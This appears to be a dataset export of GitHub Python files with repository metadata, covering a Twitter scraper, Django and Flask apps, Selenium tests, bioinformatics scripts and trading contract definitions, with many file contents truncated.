blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
2
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
69
license_type
stringclasses
2 values
repo_name
stringlengths
5
118
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringlengths
4
63
visit_date
timestamp[us]
revision_date
timestamp[us]
committer_date
timestamp[us]
github_id
int64
2.91k
686M
⌀
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
23 values
gha_event_created_at
timestamp[us]
gha_created_at
timestamp[us]
gha_language
stringclasses
213 values
src_encoding
stringclasses
30 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
2
10.3M
extension
stringclasses
246 values
content
stringlengths
2
10.3M
authors
listlengths
1
1
author_id
stringlengths
0
212
de3670984983927fb56f43a1dc5c8f9ff68e5055
29c4816ecbc60cf630ca5ee9c6d14472a1e55362
/twitter.py
ee1f3dc651e2ded2dfd7a5e4d8e6cdd2e60cc109
[]
no_license
applepieiris/twitter_scrapy
392508317f7beaeb006242d638df716901fb0591
b05f1b31e90f1c479372bd3f871e2059365df8c4
refs/heads/master
2023-02-19T04:36:10.084848
2021-01-21T01:23:18
2021-01-21T01:23:18
331,473,763
1
0
null
null
null
null
UTF-8
Python
false
false
18,219
py
import re import time import datetime import pymongo from tqdm import tqdm import copy from loguru import logger from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.support import expected_conditions as EC from selenium.webd...
[ "vista_vista_vista@protonmail.com" ]
vista_vista_vista@protonmail.com
7e83cb80b8933c2a8f98bbb93541785563abd3c2
a31611bddeaa0e9c640625c6f41b4b358886351d
/cp-02.py
c7b8a2d42f6dab8c818213ce9d6c7eeb1fb58921
[]
no_license
Mister2Tone/lab01-python
abfd451388498f7529c55bfa96741e51342c118c
f140bc154a02758851f479267d9f13af6a4e0968
refs/heads/master
2021-01-19T16:43:36.964034
2017-09-11T18:26:17
2017-09-11T18:26:17
101,023,442
0
0
null
null
null
null
UTF-8
Python
false
false
96
py
string = "Once upon the time" new_str = string[3:9] print ('{0} => {1}'.format(string ,new_str))
[ "pisit_tansri@hotmail.com" ]
pisit_tansri@hotmail.com
9642580a58f07e36fc738558e596249e6d7b3a48
6c4dc2cb87f1108854c3375803ce0f91988025f0
/src/nju/cnn_concat/predict.py
3742158f2d39a963ba3e783e3f494ac21474473b
[]
no_license
yinyuhansmile/JudicialSentence
bd59e10e58d890bd587cf3e40233b6934696d979
63392d1ab87d2a98251611e7b4721e548e0c2df7
refs/heads/master
2020-05-29T19:05:00.802934
2019-05-31T06:37:29
2019-05-31T06:37:29
189,319,145
0
0
null
null
null
null
UTF-8
Python
false
false
4,351
py
# -*- coding:utf-8 -*- from __future__ import print_function from __future__ import division import tensorflow as tf import numpy as np from tqdm import tqdm import os import sys import time import network sys.path.append('../..') from evaluator import score_eval settings = network.Settings() title_len = settings.ti...
[ "981118373@qq.com" ]
981118373@qq.com
63931b0208574e1137b16b7ec66dc47019e94783
a808c70646a83231f644e2fe87f0e20d64ba8df0
/wsgi/database_handler.py
714ce5432f9adac75936582443b861878e13d9f0
[]
no_license
jonsk197/SpotifyVotingApplication
2a8b5851155447474930290972c36aa50f215ee8
96f195535e85740805f8933bc4800bc6086d4da3
refs/heads/master
2021-01-11T02:15:50.062642
2016-10-15T14:12:46
2016-10-15T14:12:46
70,987,820
1
0
null
null
null
null
UTF-8
Python
false
false
1,416
py
from flask import Flask from flask.ext.sqlalchemy import SQLAlchemy app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db' db = SQLAlchemy(app) # Creates a user table class User(db.Model): id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(80), unique...
[ "jonsk197@studnet.liu.se" ]
jonsk197@studnet.liu.se
05d47d095f1db369c0cf7686efed8dbb880be94e
85414cb5df500d81770fb14867537df409db0db3
/Python Puzzles Answer/puzzle_8.py
fc5155ae330831be905c328e1feec63c151ab767
[]
no_license
prestasicode/Python-Installation
60c6aa9af1b5f92af8c78fccafeaf5a04077e71e
f78c1825f8eacba06d28c6c19cd222acc4040a07
refs/heads/master
2023-04-30T14:08:36.023737
2023-04-23T16:16:01
2023-04-23T16:16:01
214,594,686
0
0
null
null
null
null
UTF-8
Python
false
false
147
py
############################# ## id 327 ## Puzzle Elo 786 ## Correctly solved 60 % ############################# print(3 * 'un' + 'ium')
[ "noreply@github.com" ]
prestasicode.noreply@github.com
e16a0a4d963ff076b3d7b228d9bb0ac8b8deefb2
d879f00448dab694cc8969578acc2a3b8fac06ea
/notebooks/pylib/regeff.py
6597edb960810d5545a8d1416b27d96fb0b39164
[]
no_license
nikita-p/kskl20
49a60ddb508bf6e5a7f89c645a4bb9613f3206f9
a1e4dcc217938007a2d20db93e3db40a47d01963
refs/heads/master
2023-08-07T07:54:20.925475
2021-09-30T08:46:20
2021-09-30T08:46:20
301,926,401
0
0
null
null
null
null
UTF-8
Python
false
false
8,106
py
from scipy.special import erfc, expit from iminuit import Minuit from iminuit.cost import LeastSquares import matplotlib.pyplot as plt import pandas as pd import numpy as np import uproot import re from progressbar import progressbar from .style import my_style from .preprocess import read_tree from scipy import stats ...
[ "nikita.petrov.1997@gmail.com" ]
nikita.petrov.1997@gmail.com
594f822a71b1ab997706db038c7357c640a571ed
d99187b8b27cc3c56fef7883487dfcc82ea235c2
/send2trash.py
3cffadd481159bd901330ead8f15a7eb636dced3
[]
no_license
SanketGawande27/Chapter1--Automate-the-Boring-Stuff-With-Python
898fdd1e6537b84b1f42dbc2f7de38a24c27e902
74727c7cfed855e0f32b1cfe51085fedaeb264b4
refs/heads/master
2022-12-02T09:14:51.831936
2020-08-13T09:14:38
2020-08-13T09:14:38
274,306,362
0
0
null
null
null
null
UTF-8
Python
false
false
187
py
#send2trash import send2trash baconFile = open('bacon.txt', 'a') # creates the file baconFile.write('Bacon is not a vegetable.') baconFile.close() send2trash.send2trash('bacon.txt')
[ "noreply@github.com" ]
SanketGawande27.noreply@github.com
73280c360773ca1128a0a64654f69ff607a7f67b
d6d3b65469b63ee71bfd829f3e3b0d807c13873e
/main.py
c3a9d36bd1135c9cdcbafeb9668e2f8566db25d3
[]
no_license
Amirhossein-Veysi/url-shortener
1205550cd1f61939980dac7ad512d4b2d4fe8079
b8a246050e8a3a357f10c134f52328757dc2ebf1
refs/heads/master
2023-07-21T17:41:29.977713
2021-09-03T12:07:50
2021-09-03T12:07:50
394,940,224
1
0
null
2021-08-13T08:15:21
2021-08-11T09:49:52
HTML
UTF-8
Python
false
false
2,548
py
from flask import Flask, request, render_template, redirect import data from flask_cors import CORS import password as pass_solver import visits app = Flask('app') CORS(app) @app.route("/") def home(): return render_template("index.html") @app.route("/api") def api_page(): return render_template("document...
[ "amirhossein_veysi@yahoo.com" ]
amirhossein_veysi@yahoo.com
6372a17f6b0d06d1112a8594098c1279fd098c30
6eb58e32b469c37428185ab4456184905a5b4fb5
/analysis_code/newdata_dataread_BP_MHTSTRATEGY_v2_hacktemp.py
c830e7ec48f7165d32ca2acd9803182abd11b3b1
[]
no_license
rchenmit/mht_analysis
0b8bfff7730df835975c7c41d65f007ad269e3a9
678d4419bdaed9ed9d0041df3a2cd8638074590f
refs/heads/master
2020-04-06T03:40:41.577209
2015-01-12T00:14:48
2015-01-12T00:14:48
19,548,658
1
0
null
null
null
null
UTF-8
Python
false
false
7,094
py
## Robert Chen ## Monday 3/12/2014 ## ## trying to parse this in python ## import os import sys if os.name == 'nt': #'nt' = windows sys.path.append('C:\\anaconda\\lib\\site-packages') #in windows, alot of modules were installed with Anaconda import pandas as pd import numpy as np import math import copy import csv ...
[ "robchen401@gmail.com" ]
robchen401@gmail.com
4d3e25f526d32e3c523a613ec868b4d3bf6994d0
3e9856fd60d797f35dc54a4e0092ceb611f5f1da
/train_gnn_s8_nodp01.py
d0562884ca0c8af89d85da494252ac13c1dc36cf
[]
no_license
yougoforward/parse2
d18a7f5654c10edbb716dda3ae9615b10d289d8e
2d21b6f0968b6b05e6c2453bbf46a7cebbd69220
refs/heads/master
2021-05-22T23:23:18.046316
2020-12-22T09:47:37
2020-12-22T09:47:37
253,138,404
0
0
null
null
null
null
UTF-8
Python
false
false
14,236
py
import argparse import os import random import sys import time import torch.backends.cudnn as cudnn import torch.optim as optim import torchvision from tensorboardX import SummaryWriter from torch.nn import functional as F from torch.nn.parallel.scatter_gather import gather from torch.utils import data from dataset.d...
[ "908865817@qq.com" ]
908865817@qq.com
8adc7dc2076a8f38b8b57c4d9081451306f7c752
d981370831ae70cd0493e8546b4d0a7ee615302d
/core/models.py
78d555ff9208787942cce198e2ab108755748910
[]
no_license
Safoniks/BookStore-Test-DS
fd32ddd7dab0d4899304acc3365e078f063f593c
4a663d9a8ff1286292e3a1c29a7a784438c8a459
refs/heads/master
2020-03-28T20:48:22.049222
2018-09-17T10:19:22
2018-09-17T10:19:22
149,103,577
0
0
null
null
null
null
UTF-8
Python
false
false
3,687
py
from datetime import date from decimal import Decimal from django.contrib.contenttypes.models import ContentType from django.contrib.admin.models import LogEntry, LogEntryManager from django.contrib.postgres.fields import JSONField from django.contrib.auth.models import AbstractBaseUser, PermissionsMixin, User from dj...
[ "valera.safonik@gmail.com" ]
valera.safonik@gmail.com
670409ee08627807c34b5ac594936196940df141
3d7593c0bb5f6f870caa7ec65a75301c5ba5d3df
/CFE_tutorial.py
09d8bbab8933314dc7b12c7c0d79f22d499cb9ba
[]
no_license
suzyhh/Django_freeCodeCamp
a1a67b7eab3b80d8f40e49c5202f738051a88c6b
8503f1394f72eedb1a06ce504f11180fec74f428
refs/heads/master
2022-07-27T18:03:55.477107
2020-05-19T16:33:21
2020-05-19T16:33:21
257,542,903
0
0
null
null
null
null
UTF-8
Python
false
false
3,606
py
## This is the freeCodeCamp Django for Beginners tutorial on YouTube ## www.youtube.com/watch?v=F5mRW0jo-U4&t=10872s ## https://github.com/codingforentrepreneurs/Try-Django cd /Users/suzy/Documents/STP/Django_freeCodeCamp # Make a virtual env python3.7 -mvenv cfenv # Activate env source cfenv/bin/activate # Upgrade p...
[ "suzyhocking@gmail.com" ]
suzyhocking@gmail.com
b84d786581100036b29895212f36a76c1d1643d0
d41d2c2d77e3ae2c384ae70d737fea1b2a9ba4cb
/src/resume/urls.py
1b1e7266b41ab0bb282d911a83952425cbb407e4
[ "MIT" ]
permissive
AndrewGrossman/fuzzy-octo-batman
712e24e9a5864814233aff1ef63196bc1f5a1721
9f04165bb2b0f494175b849dba3d92071eead277
refs/heads/master
2021-01-25T07:08:42.007880
2015-06-18T15:26:34
2015-06-18T15:26:34
37,434,503
0
1
null
2015-06-18T15:26:34
2015-06-14T23:59:07
Python
UTF-8
Python
false
false
652
py
from django.conf.urls import url # Attempt to handle path issues in environments that I do not have access to properly debug try: from . import views except ImportError: from resume.models import views urlpatterns = [ #url(r'^$', views.PositionListView.as_view(), name='position-list'), url(r'^$', view...
[ "agrossman@gmail.com" ]
agrossman@gmail.com
ee0cc87ef692dd783847db0b476a73a4158525b7
ca41427119f8cbdb7b2ed671cbbbc79d73fbb8d6
/rain/firstapp/admin.py
066f37d3192d6f36ed4862b9f99831d10946ef4b
[]
no_license
SatyaShodhaka/Bloom
58dabe01d4e4a2be6cd7f66ec94178fdf81ee81e
a608153f8d8f8d7ffe472c7bb6a922a8fefddd29
refs/heads/master
2022-12-19T05:48:31.074987
2019-12-24T04:08:32
2019-12-24T04:08:32
229,092,401
0
5
null
2022-12-05T02:37:49
2019-12-19T16:13:05
JavaScript
UTF-8
Python
false
false
302
py
from django.contrib import admin from firstapp.models import Client from firstapp.models import UserProfileInfo,Created_Rooms,Joined_Rooms # Register your models here. admin.site.register(Client) admin.site.register(UserProfileInfo) admin.site.register(Created_Rooms) admin.site.register(Joined_Rooms)
[ "satyashodhaka66@gmail.com" ]
satyashodhaka66@gmail.com
406de17057218a698cee167611dcdcb5c2c5f044
db50d4c445524e0d9d4524e7a967749f210e0150
/core/api/views.py
a9410b640c17e01129591c6c95f830d07ef7bcbd
[]
no_license
ak2ree/django-react-boilerplate-master
8e2f7757d542b8dfdf284f9492fb375a42819385
858d92931aa310bd5b5012a5db53d7612739a9d3
refs/heads/main
2023-02-18T21:40:13.264302
2021-01-17T18:34:57
2021-01-17T18:34:57
330,459,422
0
0
null
null
null
null
UTF-8
Python
false
false
2,586
py
from django.conf import settings from django.utils import timezone from django.contrib import messages from django.core.exceptions import ObjectDoesNotExist from django.shortcuts import render, get_object_or_404 from rest_framework.generics import ListAPIView, RetrieveAPIView from rest_framework.views import APIView fr...
[ "ak2ree@gmail.com" ]
ak2ree@gmail.com
947aaeb816d0b2ee5f647dea613547b84327cb75
76f1468c186e42d7591985480d7fbe38dde7f430
/utils/figures.py
321f5af99430d03b56a5c4ea1bbfd8c8392ed6ab
[ "MIT" ]
permissive
OliverSieweke/dash-svm
de3fe69de3ae4e093881b8bfff226a6c3faa3f9c
3dd522d14d3805c2015064abb055e84c0c976634
refs/heads/master
2022-09-21T01:50:59.815108
2020-05-30T07:41:43
2020-05-30T07:41:43
268,032,557
0
0
MIT
2020-05-30T07:40:55
2020-05-30T07:40:55
null
UTF-8
Python
false
false
5,745
py
import colorlover as cl import plotly.graph_objs as go import numpy as np from sklearn import metrics def serve_prediction_plot(model, X_train, X_test, y_train, y_test, Z, ...
[ "xhlperso@gmail.com" ]
xhlperso@gmail.com
28db383889dd99ac404cd3b09afb76b9b6618b37
2b77917c124f31970c51ab7338b737810e2dfbfa
/3.FASTQ/main.py
4dc79a17e284a56d45b3e9510dcc72dea227367e
[]
no_license
obscurecore/BioInformatics
935366ca45c37568782ff2004a1e61666a600432
1e2e6d8ae760b27fc551aa45e9133abf4c59769f
refs/heads/master
2023-01-02T11:54:49.781621
2020-10-25T10:13:46
2020-10-25T10:13:46
301,222,804
0
0
null
2020-10-17T23:14:34
2020-10-04T20:38:23
Python
UTF-8
Python
false
false
545
py
from Bio import SeqIO Q_SCORE, NUMBER_OF_NUC, REST, READ = int(0), int(0), int(0), int(0) for record in SeqIO.parse(input('Enter the file name = '), "fastq"): READ += 1 for x in record.letter_annotations['phred_quality']: if x >= 30: Q_SCORE += 1 else: REST += 1 NUMBER...
[ "pruslang@gmail.com" ]
pruslang@gmail.com
eac84e7a756de7b49afed215428a06b77fc25012
397583c39cdf919bb690709f1b813f77914f0dc6
/main/migrations/0002_payment_amount.py
a0f47057c3140e36ab968d3a25ee553ea29a627a
[]
no_license
mathewsbenni/hospital-management-system
dfafc26d548b717cfc1d1ed842afad002b8e1e5a
ce5e21932819adb4adf2d159cf9c291a7f3e8edf
refs/heads/master
2020-03-24T01:31:00.925733
2019-01-28T05:28:29
2019-01-28T05:28:29
142,339,894
0
0
null
null
null
null
UTF-8
Python
false
false
471
py
# -*- coding: utf-8 -*- # Generated by Django 1.10.5 on 2017-03-27 15:08 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('main', '0001_initial'), ] operations = [ migrations.AddField( m...
[ "mathewsbenni@gmail.com" ]
mathewsbenni@gmail.com
7ab9b1c526f11beb21c1061cd0ec7f4d77a56ebc
5fc5d167988bf20cd3fdfca566ebe4e97a103b84
/.history/backend/views_20210626184318.py
7cf65c758e6c58ff103bc2cc93318427abc68e7a
[]
no_license
david-cons/2IOA0-dbl-hti-webtech-project
bd2fb604b70976f12ea6f8da12019e6335819d2f
cb7d3db2aca41ce163afcd11827464e80fb3c9f2
refs/heads/main
2023-06-14T21:58:35.021079
2021-06-30T15:57:13
2021-06-30T15:57:13
362,735,232
0
1
null
null
null
null
UTF-8
Python
false
false
17,385
py
########Backend Utility Libs##### from django.shortcuts import render from django.http import JsonResponse from django.http import HttpResponse import django.http import json ################################ ########Data Science and Graph libs###### import pandas as pd import networkx import matplotlib.pyplot as plt...
[ "popo@pop-os.localdomain" ]
popo@pop-os.localdomain
f43a60e8a8a584ab5df78d09668d8ae7713476fe
14178b233bdaf99b5d786c1222fa81f260126293
/src/exercises/part0/python/plotting_solution.py
51911d82a1a3111ec6281cd2d617e11c548e41ec
[]
no_license
drsphelps/MRS2020
b9bb535ed357e3512e43d9aa4198daefca0dcbbc
4b39fe772d4429e0c96c435b520f65e3d2c6d11f
refs/heads/master
2021-01-04T03:40:32.383740
2020-02-14T01:41:59
2020-02-14T01:41:59
240,363,013
0
1
null
null
null
null
UTF-8
Python
false
false
2,232
py
from __future__ import absolute_import from __future__ import division from __future__ import print_function import matplotlib.pylab as plt import numpy as np import sys import helper def sine(fig, ax): # MISSING: Plot a sine function between 0 and 2*np.pi. See example function identiy(). x = np.linspace(0., np...
[ "drsphelps@gmail.com" ]
drsphelps@gmail.com
f12b3c60600f0ec18df4b75fd713fefca2c1d7be
5d67635a202f7bcd28140022ac70c4804943cf7a
/test_12.py
39a95c748967c7e52700cd8af42a4a83163b1311
[ "Apache-2.0" ]
permissive
kote1809/test-repository-selenium
7fafe4579bb9e3a1003c7422a69cbdea7793bebd
a776a70fc63c521a5296aa563c6c126aeb225e31
refs/heads/master
2020-03-23T10:25:50.649787
2018-08-22T13:46:14
2018-08-22T13:46:14
141,443,049
0
0
null
null
null
null
UTF-8
Python
false
false
4,017
py
import pytest from selenium import webdriver import os @pytest.fixture def driver(request): wd = webdriver.Chrome() request.addfinalizer(wd.quit) return wd def test_add_new_product(driver): #переход на главную driver.get("http://localhost/litecart/admin/") driver.find_element_by_xpath("//*[@id...
[ "41379676+kote1809@users.noreply.github.com" ]
41379676+kote1809@users.noreply.github.com
6200a03f99a1872d08ec7f7f111bbe241b7ea0ef
dcee6d47afc3833dde116f0b5834132822cadbe4
/strip_auto.py
5217da663859943e05a0353caee57824b33ae846
[]
no_license
joecallow2809/l4-project
8b3a632c7aade30c2b31c4357cae61e288226dd5
fafe0819d073d96c599313487cdead57e4bb96aa
refs/heads/master
2021-08-17T21:03:18.193773
2020-08-28T14:07:26
2020-08-28T14:07:26
216,819,176
0
0
null
null
null
null
UTF-8
Python
false
false
1,560
py
from __future__ import division import numpy as np import healpy as hp from astropy.io import fits NSIDE=2048 CMB_DIST = 14000 CELL_SIZE = 320 def strip_auto(data, ang_rad, nside): ipix_strip1 = hp.query_strip(NSIDE, ang_rad-(np.pi/360), ang_rad+(np.pi/360)) ipix_strip2 = hp.query_strip(NSIDE, ang_rad-(np.pi/360...
[ "joseph.callow@durham.ac.uk" ]
joseph.callow@durham.ac.uk
a880a8f1ae6f184a9619272265dd79673b927f51
49ca7c951ba7708ebc65cc74131d3cb88e064fc6
/twango/tweet/forms.py
5c65edc5b8932eb6deddc962a9fc60cf604223ec
[]
no_license
mhoelzer/twango
41c50fa8d0b94ba18c55ffb228a5c0f6f3b0453c
53f31398c1c3b861c69922dcd3326ff9ef014ea3
refs/heads/master
2023-04-26T21:17:39.644734
2019-06-04T19:33:26
2019-06-04T19:33:26
186,042,924
0
0
null
2023-04-21T20:32:27
2019-05-10T19:22:36
Python
UTF-8
Python
false
false
274
py
from django import forms # from twango.twitteruser.models import TwitterUser class TwangForm(forms.Form): # username = forms.ModelChoiceField(queryset=TwitterUser.objects.all()) # make it yourself twang = forms.CharField(max_length=140, widget=forms.Textarea)
[ "hoelzermm@gmail.com" ]
hoelzermm@gmail.com
384e3d134ea6c74748224511c5195a0c73cd4607
f2d99535b75a202afb34b64dcd69dd55e79aaf22
/Pages/locators.py
475fb5848839360c581ada7661efa4456b89908b
[]
no_license
vshua/Python_Selenium_course_project
69d89b8ed5006b31907b482616eb806d56e00401
cd0718f537afad31dd290cf713559471e31edb32
refs/heads/master
2023-06-26T14:43:05.268425
2021-07-28T03:55:47
2021-07-28T03:55:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,280
py
from selenium.webdriver.common.by import By class BasePageLocators(): LOGIN_LINK = (By.CSS_SELECTOR, "#login_link") BASKET_BTN = (By.CSS_SELECTOR, ".btn-group a") USER_ICON = (By.CSS_SELECTOR, ".icon-user") class BasketPageLocators(): BASKET_ITEM = (By.CSS_SELECTOR, ".basket-items") BASKET_MESSAGE...
[ "volodymyr.shevchuk@atola.com" ]
volodymyr.shevchuk@atola.com
c8c865cab46151ca0e9cd50ee155e5963d4ba217
0dd37bf56c2d2b121b7032157acd656eafe4d54a
/customerapp/admin.py
ed32b42cc4efffcea588b868f8949545dcd9e6bf
[]
no_license
agusdiemas16/CAMS_BackEnd
d848bb69d8615359a96ef37b5d95942c8217fcfc
5455dbdb094a86ed1aa9de846abd5928e9953625
refs/heads/master
2023-04-29T14:01:27.160540
2019-10-30T07:18:19
2019-10-30T07:18:19
218,423,990
0
0
null
2023-04-21T20:39:13
2019-10-30T02:12:12
Python
UTF-8
Python
false
false
171
py
from django.contrib import admin # Register your models here. from customerapp.models import Customer, Vehicle admin.site.register(Customer) admin.site.register(Vehicle)
[ "agusdiemas16@gmail.com" ]
agusdiemas16@gmail.com
49f78a26c20b4cb5360c58d988239f1f05b56952
96e825a95691ce9c6ec132fbbaa5c2ba60c4adfd
/ITSP/ITSP/urls.py
f49aa48abcf06ea88a004886d45d584533ec38e2
[]
no_license
rhythm-shah/ITC-Web-Convener
9f8644e1b5895ef7ab86e77f59a170de83f0bf3d
cf58b334b3d55433a8dc85c55d62c2c061b5e8cb
refs/heads/master
2022-11-10T13:15:24.788508
2020-06-23T18:02:07
2020-06-23T18:02:07
274,471,541
0
0
null
null
null
null
UTF-8
Python
false
false
813
py
"""ITSP URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/3.0/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-...
[ "noreply@github.com" ]
rhythm-shah.noreply@github.com
d72b7ab5be64ba723348d6436a369f88a256597d
bce29ac8dccfc51983dcc00c433287866e9d63e7
/1222-5223.py
2fd13043ddeebbd63a8be746dccad6b295a1017f
[]
no_license
aiifabbf/leetcode-memo
b2c3f110073367b4b6db95722e96a794b5fe0453
5be09b4a804cb600e61e24617b9b2a1cc78fab3f
refs/heads/master
2021-06-11T18:41:16.550017
2021-04-20T15:15:50
2021-04-20T15:15:50
175,244,504
10
2
null
null
null
null
UTF-8
Python
false
false
2,916
py
""" 给一个8x8的棋盘、皇后的位置、国王的位置,问哪些皇后可以吃掉国王。 很简单,从国王开始往8个方向(上、下、左、右、上左、上右、下左、下右)分别搜索,每个方向遇到的第一个皇后就是能吃掉国王的皇后。注意如果出现国王和皇后之间隔了另一个皇后,比如 :: 王 后1 后2 后2是没办法吃掉国王的。 但是要写的好看挺难的……我写了8个for循环。 """ from typing import * class Solution: def queensAttacktheKing(self, queens: List[List[int]], king: List[int]) -> List[List...
[ "aiifabbf@outlook.com" ]
aiifabbf@outlook.com
dd2b0125129076fdca92158d818c0c8e0126da1c
d304893832b73fae883fe66bfe953c94b924f2d5
/DecodingRhythms/methods_biosound/figure.py
d26176db7e94b1444bf6c70153313ab2f068a95c
[]
no_license
Quantumgame/writings
cd8891170a1b643aa67f19bad78343c0f69270cb
abe8e20d6769134070f6badb45c1093a6a1c8808
refs/heads/master
2020-04-08T06:00:06.965856
2016-08-15T17:10:20
2016-08-15T17:10:20
null
0
0
null
null
null
null
UTF-8
Python
false
false
16,403
py
import os import operator from copy import deepcopy import numpy as np import matplotlib.pyplot as plt import networkx as nx from lasp.signal import power_spectrum from lasp.sound import temporal_envelope, spec_colormap, plot_spectrogram, log_transform from lasp.timefreq import gaussian_stft from neosound.sound_st...
[ "mike.schachter@gmail.com" ]
mike.schachter@gmail.com
8a221e3053dcc8502c46d16f04827b083c3b5bd0
8159c2c650d53fb188a26b508dfff524296707d1
/lore/deities/alki_l.py
905ce33ad3e1bc0fadf8acc8293b6ce5991ca540
[]
no_license
Teifion/Rob3
501663bf5077da0c28a7db4960c74c4477dd11bf
81fc2f9930434b5a4de52b75eb6a8d78dd708f77
refs/heads/master
2021-01-16T19:20:29.666426
2011-05-30T13:34:17
2011-05-30T13:34:17
1,819,452
1
0
null
null
null
null
UTF-8
Python
false
false
278
py
data = { "cat": "deities", "page": "alki", } blocks = [ { "id": "summary", "text": "Summary text" }, { "id": "Backstory", "text": """""" }, { "level": "secret", "text": "Secret info" }, { "id": "gm_notes", "level": "gm", "text": "GM info" } ]
[ "sarkalian@gmail.com" ]
sarkalian@gmail.com
8c657e2a7939065498bf9e9e9abba7751a7b2714
cc3ded8dc35ec9f52e7cee6a840fb6d3c92b3185
/transformers_repo/tests/test_modeling_ctrl.py
3d1a1cb2dc728952f1ef36f667b59ccf7af1a48b
[ "MIT", "Apache-2.0" ]
permissive
see--/natural-question-answering
04e3a38022dcb78a20f1632749cb82bb40a3d8aa
9d31c8dee0ff799d190a2a351f4857224788a5ca
refs/heads/master
2023-08-17T00:10:17.594705
2020-03-12T21:38:56
2020-03-12T21:38:56
234,064,034
90
24
MIT
2023-09-06T17:32:48
2020-01-15T11:19:50
Python
UTF-8
Python
false
false
8,330
py
# coding=utf-8 # Copyright 2018 Salesforce and HuggingFace Inc. team. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by a...
[ "steffenebe@gmail.com" ]
steffenebe@gmail.com
36820395946cd35b82cf0890ad00f03f16354844
906b3df6f4cb2141910c19dbe8e29fe493205ed2
/contracts.py
b39f4cb339e5a70daf16f74cbf15b0b6b99822c0
[]
no_license
webclinic017/IB_to_XCEL_Python
6af80ed3855e97664f38c50a945554678cc1f834
66dfefdb047d373486434e065324e676a9f7618e
refs/heads/main
2023-06-18T20:38:33.784478
2021-07-15T15:29:31
2021-07-15T15:29:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,991
py
from ibapi.contract import Contract july_vixFuture_contract = Contract() july_vixFuture_contract.symbol = 'VXK1' july_vixFuture_contract.secType = 'FUT' july_vixFuture_contract.tradingClass = 'VX' july_vixFuture_contract.exchange = 'CFE' july_vixFuture_contract.currency = 'USD' july_vixFuture_contract.la...
[ "noreply@github.com" ]
webclinic017.noreply@github.com
4a810f7029a6f0806c1dc6e4f8679c877af55d4b
2bb90b620f86d0d49f19f01593e1a4cc3c2e7ba8
/pardus/tags/2007.2/kernel/drivers/eciadsl/actions.py
77a821cb1f94a9b37fd3943be25d766c74b060e7
[]
no_license
aligulle1/kuller
bda0d59ce8400aa3c7ba9c7e19589f27313492f7
7f98de19be27d7a517fe19a37c814748f7e18ba6
refs/heads/master
2021-01-20T02:22:09.451356
2013-07-23T17:57:58
2013-07-23T17:57:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
665
py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2005, 2006 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/copyleft/gpl.txt. from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import get WorkDir = "eciads...
[ "yusuf.aydemir@istanbul.com" ]
yusuf.aydemir@istanbul.com
92e714c34e0f329ae786c11ef818b6b63a68dee7
6ed7d95c930d7b030816d54da64f18f47f56cb29
/Level 5/Dodge The Lasers/solution.py
9a3427a3c6ddd976bdf977115c91c63168c7e7a0
[]
no_license
capa1945/google-foobar
d38462d2cbd670be59747368880ca7b8fdb3c557
c9d663053e82cbe94fd0e596682ac2fe443d3b51
refs/heads/main
2023-07-02T23:58:09.859160
2021-08-05T14:52:23
2021-08-05T14:52:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,212
py
""" Problem ======= For every number i in range 1 to n, return the sum of the integer portions of the equation i * sqrt(2). S(n) = floor(sqrt(2)) + ... + floor(n * sqrt(2)) Example: S(3) = floor(sqrt(2)) + floor(2 * sqrt(2)) + floor(3 * sqrt(2)) = 1 + 2 + 4 ...
[ "saravana.k.manimaran@gmail.com" ]
saravana.k.manimaran@gmail.com
a98230999b6cb10e3dcb940f4162a9c746e8bd68
e08c5438171079fd38a1a939c65b94ecbd0c0b93
/tests/management/commands/test_create_command.py
67779dcfb1a4b8df315b4a6173872f0c4446530e
[ "MIT" ]
permissive
kaozdl/django-extensions
3b1d91b523057ad54294869378cfc766c03f7aad
bbc3ae686d2cba9c0bb0a6b88f5e71ddf1a6af36
refs/heads/master
2020-05-02T20:35:02.549066
2019-04-03T18:25:37
2019-04-03T18:25:37
178,196,381
0
0
MIT
2019-04-03T18:25:38
2019-03-28T12:11:53
Python
UTF-8
Python
false
false
3,902
py
# -*- coding: utf-8 -*- import os import shutil from django.conf import settings from django.core.management import call_command from django.test import TestCase from six import StringIO try: from unittest.mock import patch except ImportError: from mock import patch class CreateCommandTests(TestCase): "...
[ "contact@devktr.pl" ]
contact@devktr.pl
8ecacf653345ad382719b8bbb5a761842cec9e61
4452d698bf2cd2178674b3789f3ea9efd7ab5966
/nisha_stud_management/report/student_report.py
02999971b568c9e1b3aa42508145dc3e5b0ffaef
[]
no_license
drishtitech/Training
e21dc5c227bb6b11b159e9cc41d20d216e6e5aea
5d331f1508381ab36e1ec7a3b31de32977df0953
refs/heads/master
2020-05-17T19:42:10.474825
2014-03-14T14:26:36
2014-03-14T14:26:36
17,655,788
0
1
null
null
null
null
UTF-8
Python
false
false
986
py
import time from report import report_sxw class student_report(report_sxw.rml_parse): def __init__(self,cr,uid,name,context): super(student_report,self).__init__(cr,uid,name,context) self.localcontext.update({'time':time, 'get_detail':self.get_detail, 'get_total':self.get_total}) def g...
[ "ankit.somani@drishtigroup.com" ]
ankit.somani@drishtigroup.com
770d33e367fca4988fdf64c78ac4aef27d69ca8f
9682dab1ce9e00e11708872fa26febc847d4d18c
/pycorrector/seq2seq/corpus_reader.py
